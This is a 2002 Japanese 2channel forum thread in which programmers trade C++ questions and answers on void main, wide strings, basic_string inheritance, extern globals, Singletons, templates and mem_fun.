かなり昔に、ある本で 「平気で void main(void) などと書いているCの教本があるが、 Cを大して理解していないと自ら言っているようなものである。 そんな本は買わない方がいい。」 みたいなことが書いてあって、激しく同意した記憶があるのだが、 これって今でも有効? ていうか C++ でもいまだにこんなOS dependな規約になって いるわけ?誰か標準化に詳しい方、意見求む。 「こんなOS dependな」を念のため補足すると ・プロセスは必ずコマンドライン引数列をmainに渡す。 よってmain(void)はありえない。 ・mainは必ず親プロセスに終了コードを返す。よってvoid main()は ありえない。 ※コンパイラが受け付けるかどうかは別の話。
373 :
デフォルトの名無しさん :02/05/29 22:22
>>372 「平気で void main(void) などと書いているCの教本があるが、
Cを大して理解していないと自ら言っているようなものである。
そんな本は買わない方がいい。」
これについては、まあそれなりに今でも通用すると思う。でも、
「こんなOS dependな」を念のため補足すると
・プロセスは必ずコマンドライン引数列をmainに渡す。
よってmain(void)はありえない。
・mainは必ず親プロセスに終了コードを返す。よってvoid main()は
ありえない。
この理由は違う。そんな解説してある本があったら、それも糞。
マックにはコマンドライン引数はありませんよ(^^;
375 :
デフォルトの名無しさん :02/05/29 22:41
DSPにもOSレスマイコンにもないですよ。
376 :
デフォルトの名無しさん :02/05/29 23:00
ワイド文字のマクロなんですが、 #define __T(x) L ## x の意味が分からないのですが。 この L は何を意味してるのでしょうか?
"ABC" と書くと char[4] だけど L"ABC" と書くと wchar_t[4] になる。
>>377 ありがとうございます。理解できました。
マルチバイトのルーチンはunsigned charみたいなのですが、
やはりこんなふうにしないと使えないのでしょうか?
unsigned char string1[20];
_mbscpy(string1,reinterpret_cast<unsigned char*>("ABC"));
//static_castはだめ?
そういうばあいは _wcscpyだと思うし、TCHAR/_tcscpyで自動的に切り替えてくれる
>>378 でしょうなぁ。
static_cast はダメ。でも void* との変換は出来るので、 static_cast を2つ重ねればいけるかもしんないけど、んなことする意味ないし・・・。
>>372 個人的には、これで本の価値をけなしている文章を書く著者は
「たいしたことない」と思う。
本質的な問題じゃないだろう。
382 :
デフォルトの名無しさん :02/05/29 23:18
383 :
デフォルトの名無しさん :02/05/29 23:31
#define __M(x) reinterpret_cast<unsigned char*> ## (x) unsigned char string1[20]; _mbscpy(string1,__M("ABC")); でいけそうな気がするけど、 CString ってデフォルトでマルチバイト使ってるっぽいけど unsigned char使ってないんだよな。 シングルバイトは無視して、char で受け付けて ルーチンはMultiByteの使ってるってことなのか...
>>383 なんでそんな事したいわけ?
普通にワイド版の関数使えばいいじゃないか。
終端のnullが1byteしかコピーされないから破壊が起きるんじゃないの?
なんで_tcscpyつかわないの? そういうポリシー?
386 :
デフォルトの名無しさん :02/05/29 23:44
>>381 同感だけど、でも「なんでvoid main(void)やねん!」とも思う。
せめてmain()とだけ書いておいてくれれば...
>>385 _tcs~はTCHARの時だな。
wchar_t/ushortの時は_wcs~だ。
VCっぽいからこのまま続けるけど、 #define UNICODEと #define _UNICODEするだけだろ?
template <typename T> CStringSTL :public basic_string<T> とかで 場合によって T に char(シングル),unsigned char(マルチバイト),wchar_t(ワイド),TCHAR を割り当てるクラス作ったんですが、 CStringSTL<unsigned char> Mt; にunsigned char*を渡して処理するときに unsigned char*だと("ABC")とかを渡したいときに キャストしないといけないことに後から気づいたんで。 どうしようか悩んでるんです。
問題点は2つ 切り替えたいときはTCHARベースにして、文字列はマクロTEXT()/_T()を使用するべき。 もう一つはstd::basic_string()を継承してはいけないこと。
mbstowcsとかそういうのもあるけど、 localeは適切に設定しておけよ
なんでbasic_stringを継承してはいけないのか100文字以内で(以下略
>>390 前にも言われたことなのですが、
basic_stringを継承してはいけない理由がわかりません。
operator,コピーコンストラクタ等を定義し直して、
メンバ変数も持たなければ問題ない気がするのです。
でもbasic_stringって結構でかいんですよね。(26バイトもある)
394 :
デフォルトの名無しさん :02/05/30 00:24
環境依存のTCHARベースにすると マクロベースのルーチンになるから、 同じプログラムで両方使い分けられなくなるのが嫌だったんです。 templateにしておけば両方可能なぶんだけ柔軟性があると...。 (あくまで文字列クラスの設計としてです。結局普通に使う時はTCHARになるんだと思う)
>>395 basic_stringのデストラクタが仮想デストラクタじゃないって事?
397 :
デフォルトの名無しさん :02/05/30 01:47
basic_stringのデストラクタがvirtualになってないのは 安全、(速度)を考えての設計だと思いますが、 basic_stringのポインタに派生クラスをnewで動的に作成するときに deleteしたときに派生クラスのデストラクタが呼ばれない問題は 使い方を気をつければ大丈夫だと思う。 (CStringもvirtual使ってないはずです。でないとVtableが邪魔して Formatを使うときにCStringをLPCTSTRにキャストする必要がでてくると思う) 追記: CStringはやはりデータはcharで保持、統一していて reinterpret_castでchar*からunsigned char*にキャストして _mbscmpとかを使ってるみたいです。
398 :
デフォルトの名無しさん :02/05/30 02:15
添削お願いします jpegのファイルをバイナリとして表示したいのですができません。 以下のプログラムではどこがだめなんですか? #include<stdio.h> main() { int a[100],i; FILE *fp; fp=fopen("test.jpg","rb"); for(i=1;i<=3;i++){ fscanf(fp,"%x",&a[i]); printf("%x",a[i]); } fclose(fp); }
なぜ3回しかループせんのよ?
>>398 char型の配列にそのままよみこんで、1バイトずつprintfで表示させればいいんじゃネーノ?
それと、配列の添え字は0から。
#include<stdio.h> main() { FILE *fp = fopen("test.jpg","rb"); int c; while((c = fgetc(fp)) != EOF) printf("%02x",c); fclose(fp); }
>>402 そうだ。表示だけなら全部読み込む必要なんてないな。
#define MACRORIN "\n\nEOF\n" while(a = fgetc(fp), printf((a != EOF)?"%02X ":"%s", (a != EOF)?a:reinterpret_cast<int>(MACRORIN)) != sizeof MACRORIN -1);
おまいらC++スレなんだからもっとC++らしく書けよ。
stdioじゃなくてiostream使えって事じゃないかと…
>>408 そういうこと言うとマ板のあの人たちに怒られちゃいますよ・・・・
#include<cstdio> using namespace std; main() { FILE *fp = fopen("test.jpg","rb"); int c; while((c = fgetc(fp)) != EOF) printf("%02x",c); fclose(fp); }
ひねくれもの(w
>>410 せめて ifstream とか get() とか使えって。
ifstream ifs("test.jpg") ; while(ifs) cout << hex << ifs.get() ;
>>413 while (ifs) cout << hex << setw(2) << setfill('0') << ifs.get();
ああーまたマニピュレータの悪魔が・・・・・
>>413 バイナリだから
ifstream ifs("test.jpg", in | binary);
ストリームを使用してバイナリファイルの読み書きを行いたいのですが、 basic_istream::read/basic_ostream::writeの引数はchar_type*なので、毎回キャストしてやら無ければいけませんし、読み書きサイズも単位が文字数なのでデータが文字サイズの倍数じゃないときはうまくいきません。 fread/fwriteのように、キャストが必要なく、バイト単位で読み書きできる方法をご存知でしたら教えてください。
417 :
デフォルトの名無しさん :02/05/30 07:27
template<typename T>__declspec(dllexport)void func(T t){....} という関数をDLLにしたんですが、何故かリンクエラーになります。 何故なんですか?さっぱり分かりません。
418 :
デフォルトの名無しさん :02/05/30 07:52
DLLにしなくてもリンクエラーにならなかった?
>>417 実体がないからじゃないでしょうか?
DLL側でfunc<int>(10);などとやりたければ、
どこかにfunc<int>が存在しなきゃいけないけど、
DLLを作成した時点ではfunc<int>は存在していないし。
420 :
名無しのゴローさん :02/05/30 20:06
仕方ねぇ。 今日こそstreamでもやるか。
421 :
デフォルトの名無しさん :02/05/30 22:00
干す
422 :
デフォルトの名無しさん :02/05/30 22:29
押す
423 :
デフォルトの名無しさん :02/05/30 22:55
exceptional C++あげ
424 :
デフォルトの名無しさん :02/05/31 00:11
メンバに構造体を持ってるクラスで、コンストラクタでその構造体の初期化を したいのですが、memset()するしかありませんかねえ? HOGE hoge = {0}; とした時と同じようにスマートに書きたいんですが・・・
初期化リスト
デフォルトコンストラクタで memse するのがスマート。
staticなinitialize専用の実体を置いといて 初期化リストでデフォルトのコピーコンストラクタを使って初期化する ・・あんまりスマートじゃないか
レスありがとうございます。
>>425 素直には初期化子リストには書けないようです。
>>426 Cでも使う構造体なんで、ヘッダは変更できないんです。継承すればいいんですけどこのためだけにはちょっと・・・
>>427 こういうことですか?
struct HOGE{
int i,j,k;
};
class Foo{
static const HOGE zerohoge_;
HOGE hoge_;
public:
Foo():hoge_(zerohoge_){}
};
const HOGE Foo::zerohoge_ = {0};
たしかに、これでいけますね。でもちょっとイマイチかなあ。
でもこのやり方、他の場面に使えそう。
まあ、素直にmemsetしておきます。
newすればはじめからゼロと言ってみるテスト
>>428 staticメンバじゃ、クラスをたくさん作っても、一つしかないよ。その辺は
不都合ない?
>>430 ないと思われ。constだし、初期化専用だし。
ここで質問してる人はどんな機能のプログラムを作ってる(作ろうとしてる)のですか?
げぃむ。
Win2000, MS VC/C++6.0 環境で勉強しています。 マルチタスクのところなのですが 例題にでている<unistd.h>というファイルが 見当たりません。 gcc 2.95環境も探してみましたがありません。 これはどこorどのファイルなのでしょうか。
>>434 gccだと。
マルチタスクとそれがどう関係するのか?だけど。
そのうちfork()がないとかpthreadがありませんとか言い出すに違いない
>>435 >>436 見当違いなことを書いていたみたいですみません。
質問を変えて、fork()関数はどのヘッダに定義されているのですか?
MS-Windowsにfork()はない。Cygwinはかなりトリッキーなことをして 実装しているが。スレッドを動かしたければWin32APIの CreateThreadを使う。
>>438 お早いお答えどうもありがとうございました。
>>437 UNIX でも fork() はヘッダには「定義」されてないと思うが。宣言と定義の違い、
それからシステムコールとユーザ関数の違いは知っておいた方が良いぞ。
441 :
デフォルトの名無しさん :02/05/31 21:24
仮想コンストラクタは作れますか?
コンストラクタを仮想にして何の意味がありますか?
仮想コンストラクタはDelphiの特権です。それと同じことをしたいなら、ファクトリを書いてください。
最近のfork(2)はユーザー関数でラップされているという罠
446 :
デフォルトの名無しさん :02/06/01 04:25
cでexternで変数を外部のファイルに公開することができるけど c++でクラスオブジェクトをグローバルに共有したい場合はどうすればいいのですか? externで良い?
447 :
デフォルトの名無しさん :02/06/01 04:27
よい
448 :
デフォルトの名無しさん :02/06/01 04:30
449 :
デフォルトの名無しさん :02/06/01 04:39
>447 そうですか。うーん。。 ヘッダファイルglobal.hで #include "cfooclass.h" #if defined _INSTANCE_ #define EXTERN #undef _INSTANCE_ #else #define EXTERN extern #endif EXTERN CFooClass g_foo; とか定義して、いくつかのcppファイルからincludeしてるんですが、 そのうちのmain()を記述してるcppファイルで#define _INSTANCE_して 一回だけ変数を宣言して、そのほかのcppファイルでは外部宣言にしてるんですけど エラーとなってしまいます。 d:\test\global.h(xx) : error C2146: 構文エラー : ';' が、識別子 'g_foo' の前に必要です。 d:\test\global.h(xx) : fatal error C1004: 予期せぬ EOF が検出されました。 エラーメッセージは↑ですが、これは何が間違っているのでしょう。・゚・(ノД`)・゚・。
>>449 その奇怪な extern がヤバイと思われ。
素直に cpp で実体定義したらいいじゃん。
もしかしてこの奇怪なexternの部分を extern "C" { } でくくる必要ってありますか?
必要ない。関数名のときに多重定義での 名前変形を阻止するために必要なだけ
C でコンパイルしたならそれ。 C++ なら header で extern CFooClass g_foo; と宣言して cpp ファイルで そのまま CFooClass g_foo ~と定義したらいいんちゃう。
CFooClassの宣言はちゃんとincludeしてる?
cfooclass.hに問題があるとか・・・
CFooClass { .... } <- ここにセミコロンがない
あ、みなさんどうも。 >452 そうでしたか。 >453 VC++でございます。 >449のやり方って結構Cではやりません? >454 してます。
VC++か.. まぁあれは腐ってますからな..(w
まー global instanceをひとつ共有するなら
>>453 が定番だよ。
ヘッダ側は extern のみ。条件コンパイル不要。
実体定義をひとつのモジュールで行う。
>459 そうですか。その方法でやることにします。定番って事で安心ですし みなさま、早朝からお騒がせしましたm(_ _)mペコリ
>>460 いや、問題が解明できていないので
単にそう直しても直るかどうか・・
>>460 つか、C++でexternなんて使うなよー。Singletonパターンにしとかないと、
後でひどい目に遭うぞ。
CFooClass が定義されていない、にもう1票。 つまり、extern (int) CFooClass … に解釈されてる。
>>464 異なるコンパイル単位での初期化順序の制御が問題になる。
詳しくは、Effective C++を買って読むべし。
知らないとひどい目に遭うC++
467 :
デフォルトの名無しさん :02/06/01 19:52
int main() { class T{ public: int operator<<(int i){return f();} int p; virtual int f(){*this<<0; return 0;} }o; cout<<(o << 9)<<endl; return 0; } なんでエラー?
>>465 なるほど
ではそのクラス自体はSingletonでは困る場合はどうするの?
>>467 とりあえずスタックオーバーフローがおきそう。
コンパイルエラーになるようには見えないけど。
Singletonで包めばいいのか
>>465 それが問題になるのは、複数の大域変数(というかクラスのインスタンス)の
初期化時に相互に依存する場合に限られるのと思うが、どうか。
それ以外の場合は普通に
>>453 でOKと思うが・・・。
>>472 そのとおり。でも、問題が起きるまで手抜きな実装手段をやってて、いざ問題が起きたときに
泥縄でやり直すのはよろしくないよ。……ってなことは、More Effective C++に書いてあるので、
買って読もうな。
>>473 俺はEffectiveシリーズは読んだYO。Moreの方は手元にないが・・・。確かに必読の
良い本だと思う。
言いたかったのは、事情がわかっていれば、
>>453 の実装でなんら問題はないと
いうこと。つまり、なんでもパターンを駆使すればよいということではなく、
それがTooMuchになるケースもあると。もちろん、シングルトンのメリットも
理解しているつもりなので、適材適所で使い分けるのが良いと言いたかった。
>手抜きな実装手段をやってて、いざ問題が起きたときに泥縄でやり直すのはよろしくないよ。
これには同意。でも
>>453 が必ずしも手抜きとは思わないよ。(あくまでケースバイケースだが・・・)
それに、シングルトンを使用すべきところをグローバルインスタンスを使用して
泥縄になるのは、手抜きな実装に起因するというよりも、設計段階の問題と思うが・・・。
あー、うん。「わかってて、あえてやらない」のならOKだと思うよ。 「わかってないから、やろうとしない」の可能性があるから言っただけだから。
476 :
デフォルトの名無しさん :02/06/02 03:48
Singleton は参照するオブジェクトがすべて消滅すると一緒に 消えるからなぁ.. constructor で時間がかかるオブジェクトだと 作って、消えて、作りなおして、消えて、とパフォーマンスが落ちるよね いや、単に実装が悪いだけだけど.. ダミーの参照オブジェクトで 管理するのが泥臭いんだけど, いいのかな 関連するオブジェクトをまとめてコンポジションして 相互に依存しないように新しいクラス作って extern つのもあるけど..
477 :
デフォルトの名無しさん :02/06/02 04:12
んー.. みんなやっぱり寝てる? effective C++ とか読んだことないんでみんなどうやって スマートに解決してるのか知りたいんですけども.. やはり本はちゃんと読んでおくべきか..
>>476 > Singleton は参照するオブジェクトがすべて消滅すると一緒に
> 消えるからなぁ..
それは Singleton の要件とは無関係の気が。むしろ、そんな実装にしたら
Singleton オブジェクトの状態を保持できないから、制限キツすぎだと思う。
>>479 どもどもレスサンクス..
某所でアップされてたSingletonの実装は参照カウンタになってたのね
それで参照カウンタゼロで消滅。たぶん使ってるオブジェクトがいないなら
状態を保つ必要もないと考えたんだろうなぁ
C++だといつ消すか問題になるよね 使わないオブジェクトがいつまでも
居座るのもいまいちアレだし..
やっぱりスマートな定番の実装ってのがあるんでしょうか..?
スマートな実装.. 一度作るとプログラムの最後まで居座るけど、 任意に消せるってパターンかな..?
vector<char> vc(5, 'a'); vector<char>::iterator f, e; ++++++++(&++++++(&++++(&++(f = vc.begin())[1])[1])[1])[1]; for(e = vc.end();f != e;f++) cout<<*f<<"\t"; bccで通っとる・・。
>>481 Modern C++ Designでそういう実装の考察してるね
みなさん、こんにちは BYTE a ; a = ~a+1; と、あった場合には、aを反転したものに1をたすという意味で よろしいですよね。 教えてください。
>>484 C++固有の話として聞いてるんだよな?
演算子オーバーロードで違う挙動になってるかもしれない、と答えてみるか。
>>476 いや、君のような人には、マジでEffective C++を読んでもらいたい。
Singletonのスマートな実装が載ってるから。あまりのショックにひっくり返り
そうなほどのスマートさで。
ただ、
>>481 でいう、「任意に消せる」は実装してないけど。
それをやりたいなら、
>>483 のいうとおり、Modern C++ Designだね。
でもModernのコードは高度すぎて、コンパイラがついてこれてないから、
今は意味がない(ちなみにVC.NETでも通らないらしい)。
>>488 サンクスです。
ちなみに、Cを終わったばかりでC++をはじめようって時に
一番のお勧め本はなんですか?
>>489 Cをマスターしてるんなら、Accelerated C++がお勧め。
>>488 の推薦図書の中にもあるっしょ。そこでは
「中級者向け」ってあるけど、これは「プログラミングの中級者向け」
であって、内容的には「C++初心者~中級者向け」のことが
書いてある。
VC.NET「は」通らない。gccやcode warriorなら通るらしい とか言ってみたりして。
>>492 あ、そうらしいね。Genericスレに書いてあったわ。ちなみに、俺が持ってる(使ってる)のが
VC6だから、「(VC6だと通らないんだけど、)VC.NETでも通らないらしい」って意味だ。
>>491 ありがとうございます。
注文してみます。
495 :
デフォルトの名無しさん :02/06/03 00:02
MIDIファイルを解析したいです。 ファイルのフォーマットについて詳しく書いてあったり、 実際のMIDIファイルを例に取り上げて記述しているような ページがあったら教えてください。
497 :
デフォルトの名無しさん :02/06/04 01:28
struct SA{ template<typename A,typename B>class tCA{}; template<typename C>class tCA<C,int>{}; }; エラー出ないのにナンデ動かないんだヨ??もうワケワカンネェヨ。
template<typename A=int,typename B=int>struct TCA{ template<typename I>struct TCB{ typedef typename TCA<I> HEAD; }; TCA(){cout<<typeid(TCA).name()<<endl;} };
OpenWatcomを落としたのですが、 落としたアイコンをダブルクリックすると Could not intialize inst・・(省略)・・パラメータが正しくありません。 とでてOKをクリック(OKしかない)すると元の画面に戻ります。 何度やっても同じです。 どうすればいいでしょうか?
すいません。以下が省略なしです。 Could not intialize installation.File size expected=48049450.size returned=20408929.パラメータが正しくありません。
アーカイブが壊れてるんだろ、串をはずして落とし直せ
OpenWatcom落とせなくなったんですが・・・ 自分だけですか?
504 :
デフォルトの名無しさん :02/06/04 19:44
C++のわかりやすいお勧め本ってないですか?
ほんとだ落とせない。
ANSI対応の他のおすすめコンパイラってないですか? エディタも一緒のがいいのですが・・・
個人的にはダイテルさんの「C++プログラミング vol.1~3」を
推してみたい
>>504
508 :
デフォルトの名無しさん :02/06/04 20:25
C++を学習できるサイトを教えてください!
>>504 柴田望洋著「プログラミング講義C++」などはいかが?
511 :
デフォルトの名無しさん :02/06/04 20:34
>>509 ありがとうございました。今から勉強します。
猫はC/C++の勉強に向いてないと思うが
514 :
デフォルトの名無しさん :02/06/04 22:22
boost::mem_fn あげ。
516 :
デフォルトの名無しさん :02/06/05 15:15
ある enum の一部を抜き出して別の enum を定義し、その抜き出した部分に ついては同一視して扱いたい、という場合があります。次の enum Foo; と enum Hoge; のような感じ。 enum Foo { a, b, c, d }; enum Hoge { B = b, C = c }; void foo( Foo x ) { } void hoge( Hoge x ) { foo( (Foo)x ); } int main() { hoge( B ); } ここでは、関数 hoge() から foo() を呼び出すときにどうしても キャストが必要になってしまうのですが、このように同一視して扱いたい 複数の enum がある場合に、キャストを使わずにすむような、もっと スマートなやり方はないでしょうか。
とりあえず、キャストを inline Foo convertToFoo( Hoge x ) { return (Foo)x; } みたいな変換関数に閉じ込めることで対処してみた。 ふつう、このインラインは何もコードを生成しないよね?
C++でこの本が分かりやすいっていうのは ありますかね???
C++で理解する本は無いな
独習C++
わかりやすい解説書というか、一番最初に読むと良い本
523 :
名無し募集中。。。 :02/06/05 16:55
独習が終わったら、アスキーのでかい本やEffective/More~/Exceptional等お好きな物をどうぞ
525 :
名無し募集中。。。 :02/06/05 17:00
>>524 一応友達に企業から依頼されてる人がいて
その人から色々学んで
めちゃくちゃ簡単な事なら出来るけど
すごく簡単な関数ぐらいならどうにか出来る
あと何となくクラスとポインタも分かる
とりあえず親切にありがとう
527 :
名無し募集中。。。 :02/06/05 17:04
>>526 分からなかった(^^ゞ
すんまそm(__)m
528 :
デフォルトの名無しさん :02/06/05 22:17
ちょっと確認させてください。 「プロテクトコンストラクタを持ってるクラスのオブジェクトは定義できない。この クラスは継承されるためのクラスである。継承されるためのクラスという点では純粋仮想 関数を持ってるクラスと同じである。」 という風に理解しているのだが、いいだろうか?
良くない
手段と目的を逆にしちゃいかんよ。 勝手にインスタンスを生成されたくない場合に、 コンストラクタをprivateにすることがある(例:シングルトン) この場合、staticなメソッドあるいはfriend関数/クラスから作成する。
>>530 う~~む、俺がプロテクトコンストラクタを使いたい理由はこのクラスはこのまま
使っても意味がないから(インスタンスを生成されたくない)継承して機能を
拡張してから使え・・・ということなのだが。
こういう使い方はダメなの?
>>531 だめ、というか意味がないでしょ。
継承したって何もオーバーライドしなかったら元のクラスのオブジェクトをそのまま作ったのと何の違いもないもん。
>>532 そうね。純粋仮想関数用意したほうが実装を強制できるね。
>>532 ○ ←基本クラス
/\
◯ ◯ ←プロテクトコンストラクタのクラス
\/ (仮想派生)
◯
という継承の時にもプロテクトコンストラクタは意味ないだろうか?
ModernC++ではポリシークラスにプロテクトコンストラクタを使用してる。 Mixinするので生成してほしくないが仮想関数も必要ないという場合。 もっともMixinして使うクラスを単体で作成できたからといって 大して害はないんだが。
何のために派生を強制したいかによるなあ。 派生は強制させたいがconstrucgor以外は何も変更しなくてよい、というシチュエーションがあるのなら protected constructor方式にも意味あるのかもしれない。
>>539 派生させたい理由が思いつかないけどね。
class Class: public Base{};
するだけでインスタンス作れるようになっちゃうし。
なんとなくプロテクトコンストラクタについて理解できたような気がします。
542 :
デフォルトの名無しさん :02/06/06 11:16
リッチテキストにEM_AUTOURLDETECTを使用してURLを自動でハイパーリンクにしてるんだけど、 ファイルに2バイト文字が含まれると認識せず、ハイパーリンクになりません。 あと、スペースも(これはMSDNに書いてあったけど…) たとえば、 C:\ホゲ\Hoge.exe や、C:\Hoge Hoge\Hoge.exe は C:\ になってしまいます。 解決方法を知っている方いたらおながいします。
543 :
デフォルトの名無しさん :02/06/06 11:43
#include <vector> using namespace std; class CBase {}; class CDerived : public CBase {}; template<typename T> class CTest {}; template<> class CTest<CBase> { public : CTest(){ // ----- ① printf("Test\n"); } }; int main() { CTest<CDerived> test; return 0; } これで、①が呼び出されないのは何故? 使用環境は、VC++ 6.0 SP5です。
544 :
デフォルトの名無しさん :02/06/06 11:44
↑最初の3行は要らなかった…。
>543 CTest<CBase> と CTest<CDerived> は別クラス
546 :
デフォルトの名無しさん :02/06/06 11:55
>>543 明示的特別化ヴァージンって知ってるか。
>>545 templateクラスに引数を与える時にCBaseに変換してくれないのかなーと、思ったわけで…。
>>546 ???
template<> class CTest<CBase>
のことじゃないの?
というか、言いたいことは、①が呼び出されるようにしたい…ということなのです…。
CTest<CBase> test;
言葉が足りなかった…。 つまり、CTest<CDerived> test;としても、 CTest<CBase>のコンストラクタが呼び出されるようにしたい ということなんですが…無理ですかね?
多分無理 本を参照シル
>>550 Modern C++ Designでも読んでみるとか
ごめんなさい…、思いきし「プログラミング言語C++ 第三版」に載ってました…。 operatorを定義すれば良いみたいです…。
こんな感じになるでせうね template<typename T> class CTest { public: CTest(){ CreateImpl( (T*)0 ); } private: void CreateImpl( CBase* ){printf("Test\n");} void CreateImpl(...){} };
ずっとsage忘れてた、スマソm(_ _)m
operator CTest<T2>を定義したところで、
CTest<CBase>のコンストラクタは呼び出されなかったことに気づいた…(汗)
>>554 さんのような方法もあるけど、
なんか、エレガント(epistemeのパクリ)じゃないような…。
そもそも、コンストラクタを呼び出す必要があるのかどうか、
もう一度考えてみることにします。C++の蟻地獄にはまらないうちに…(笑)
556 :
デフォルトの名無しさん :02/06/07 01:56
次のコードで、vector<char> cv の各要素に&A::fooを適用したいんですが、 std::for_each の第三引数をどう書けばよいか教えてください。 #include <iostream> #include <vector> #include <algorithm> #include <functional> using namespace std; class A { public: void operator()(char c) { cout << c << endl; } void foo(char c) { cout << c << endl; } void bar(void) { vector<char> cv; cv.push_back('a'); cv.push_back('b'); for_each(cv.begin(), cv.end(), *this); // 通る for_each(cv.begin(), cv.end(), /* foo を呼ぶ為にはどう書けばいいですか?? */ ); } }; 単なるforループにしろやってのはナシで…。
mem_fun_tを使いなさい。
558 :
デフォルトの名無しさん :02/06/07 02:02
>>557 ども。mem_fun_ref(&A::foo)でしょうか…?
どうも手元のコンパイラ(g++の2.96)では通らないです。
559 :
デフォルトの名無しさん :02/06/07 02:15
template<typename T> class hoge { public: T a; T b; }; ↑こういうのがあるとき、 hoge<float> A; hoge<double> B; という変数を作って、A = B; を実行するにはどうすればいいでしょうか。 この場合のoperator=の定義の仕方がわからないです。
>>558 #include <iostream>
#include <vector>
#include <algorithm>
#include <functional>
using namespace std;
class A {
public:
void operator()(char c) {
cout << c << endl;
}
void foo(char c) {
cout << c << endl;
}
void bar(void) {
vector<char> cv;
cv.push_back('a');
cv.push_back('b');
for_each(cv.begin(), cv.end(), *this);
for_each(cv.begin(), cv.end(), mem_fun(&A::foo));
}
};
int main()
{
}
561 :
デフォルトの名無しさん :02/06/07 02:18
とおらないです…。
コンパイラがわるい?
>>560 $ g++ a.cpp -Wall
a.cpp:35: return type for `main' changed to `int'
/usr/include/g++-3/stl_algo.h: In function `_Function for_each
(_InputIter, _InputIter, _Function) [with _InputIter = char *,
_Function = mem_fun1_t<void, A, char>]':
a.cpp:21: instantiated from here
/usr/include/g++-3/stl_algo.h:83: no match for call to
`(mem_fun1_t<void, A, char>) (char &)'
/usr/include/g++-3/stl_function.h:602: candidates are: void
mem_fun1_t<void, _Tp, _Arg>::operator() (_Tp *, _Arg) const [with _Tp =
A, _Arg = char]
>>559 templateにfriend宣言は使えないので困難。
説明に不備がありました。mem_fun_t以外にbinderを使わなきゃいけません。
mem_fun1_t<void,A,char> f(&A::foo);
for_each(cv.begin(), cv.end(), bind1st(f,this) );
mem_fun系で作った関数オブジェクトはthisポインタを第一引数に入れてやんなきゃいけないから、
binderでthisをバインドしてfor_eachで呼ぶ。
>>560 コンパイルとおりませんよ。(GCC3.0.4)
>>559 template<typename ref>
hoge(const hoge<ref>& rhs)
{
this->a = rhs.a;
this->b = rhs.b;
}
565 :
デフォルトの名無しさん :02/06/07 02:24
>>563 できました!!
これは僕には想像もできない答だ…。ありがとうございました。
>>560 STLPortだと通るね。汎用性なしか。
>>564 できました!ありがとうございました。
(うちの古いコンパイラがtemplate内でtemplate使えなかったので、
BCC5.5をダウンロードして確認するのに時間かかってしまいました・・・)
no talk
570 :
デフォルトの名無しさん :02/06/07 13:24
mem_fun1_t と mem_fun_t は別物?
( ´,_ゝ`)プッ ( ´,_ゝ`)プッ ( ´,_ゝ`)プッ
>>570 夜に563の神が答えてくれるだろうから暫し待て。
>>570 別物。引数を受け取るオブジェクトかそうでないか。
575 :
デフォルトの名無しさん :02/06/07 19:52
引数を1つ取るメンバ関数へのアダプタがmem_fun1_t 引数を取らないメンバ関数へのアダプタがmem_fun_t 引数2つ以上のは標準では用意されてない。 これくらいは調べなさい。
STLのネームセンスに頭痛がする・・
うわJaneがバグってた…鬱だ氏のう…。
580 :
デフォルトの名無しさん :02/06/09 16:46
名前空間使用指令の using namespace std; using std::cout; とかは関数内、クラス内に書いてもよいのですか?
細かいことだが、using namespace std; はディレクティブだが using std::cout; は宣言だ。 using namespace std; は複数回繰り返せるが、using std::cout; を 繰り返すのは名前を2重に宣言することになりエラーだ。
今までそうやってきたんだけど作法的にはいいのかなと思って... あんまり本に書いてないんですもん..(;;) どうもです。
ガーン、そうだったのか・・勉強になりまふ
マジで、できてんの?>ALL class A { using namespace std; };
>>586 関数ではできるが、classではできないね。
>>586 BCC5.5じゃコソパイルできんのう
namespace util = oresama::util;
591 :
デフォルトの名無しさん :02/06/09 21:35
VC++でプログラミングしているのですが、 ActiveXを登録・削除する方法がまったくわかりません。 わかる方はおられますでしょうか?
593 :
デフォルトの名無しさん :02/06/09 21:49
そういえば、こんなコードをBCCで書いたら動いた覚えが…。 VCではコンパイルできないんだけど、これは仕様に沿ってるの? #include <iostream> namespace test{ int main(void){ std::cout << "Test!" << std::endl; return 0; } } using namespace test;
>>593 VC++でもエントリポイントをちゃんと指定すれば通るんじゃない?
595 :
デフォルトの名無しさん :02/06/09 21:54
>592 一通り見たのですが、よく解りません。 ActiveXについて他にないでしょうか?
>>595 読めってことじゃなくて、そっちで聞けって事じゃないのか?
Loki のコンパイルが VC7 で通りません。 どうすればいいですか。
だれかVC6にPortingしる!
>>598 おお、こんなもんがあったのね。thanks.
正直 template の理解はクソなんだが、ライブラリは便利なので
使いたかったんだ。
char tt[x][y][20](x,y:変数)という配列を取りたいんだけど、 どしたらいいんだろ? char tt[x][20]は char (*tt)[20]= new char[x][20]; で取れることが解ったんだが。。。。。 だれかおしえてちょーだい!!
const size_t x = 100, y = 200; char tt[x][y][20];
>>604 さん こんなに早くコメントが付くとは。。。ありがたいこってす。
うーん、x=100, y=100とすると確かにできるけど、
x=変数A, y=変数Bとすると、エラーになる。。。。。
僕の解釈の仕方が悪いのかな?
typedefして配列を一段ずつにわけるとか?
とりあえず、「yは30は超えない!!」という信念(っつうか、現況からの判断)のもと、 char (*tt)[30][20]= new char[x][30][20];ってやって進んでますが。。。。 >typedefして配列を一段ずつにわけるとか? っていうのは、char[y][20]っていうのをtypedefするわけですか? やってみます。。。。あそこって変数でいいのかな?
多次元配列は先頭の次元以外は定数しかゆるさんじぇ。 どうしてもってのならvectorを多段とかがいいかも。
609 :
デフォルトの名無しさん :02/06/10 17:21
Borland C++ Compiler 5.5をDLしますた まずは「あいうえお」を表示してみたい! どしましょう?
本気ですか?
611 :
デフォルトの名無しさん :02/06/10 17:32
COUT で逝け!!
string func() { return string("test"); } main() { string& str = func(); cout << str << endl; } 上のように一時オブジェクトを参照で受け取った場合、 その一時オブジェクトの寿命は参照のスコープと同一になると聞いたのですが、 プログラミング言語 C++ 第三版 のどの辺にその記述があるのでしょうか?
>>614 const T& なら §5.5 と §10.4.10 あたり。
>非constリファレンスで一時オブジェクトを縛ることはできないこと(§5.5)を忘れないようにしていただきたい。
>>614 俺の直感だと本の2/5くらい目のところに書いてあったと思われ
どこにプログラム書くの? Borland C++ Compiler 5.5の基本的なことを教えてガリレオ!
>>非constリファレンスで一時オブジェクトを縛ることはできないこと(§5.5)を忘れないようにしていただきたい。 多くの処理系で問題なさそう
早く教えれ!
>>620 メモ帳で、
@echo off
echo あいうえお
pause
と書く。名前を付けて保存で、ファイルの種類をすべてのファイル
として、ファイル名をaiueo.batで、My Documentsの下等に保存。
aiueoをクリックして完成だ!
ふむ!やってみる!
メモ帳どこ?
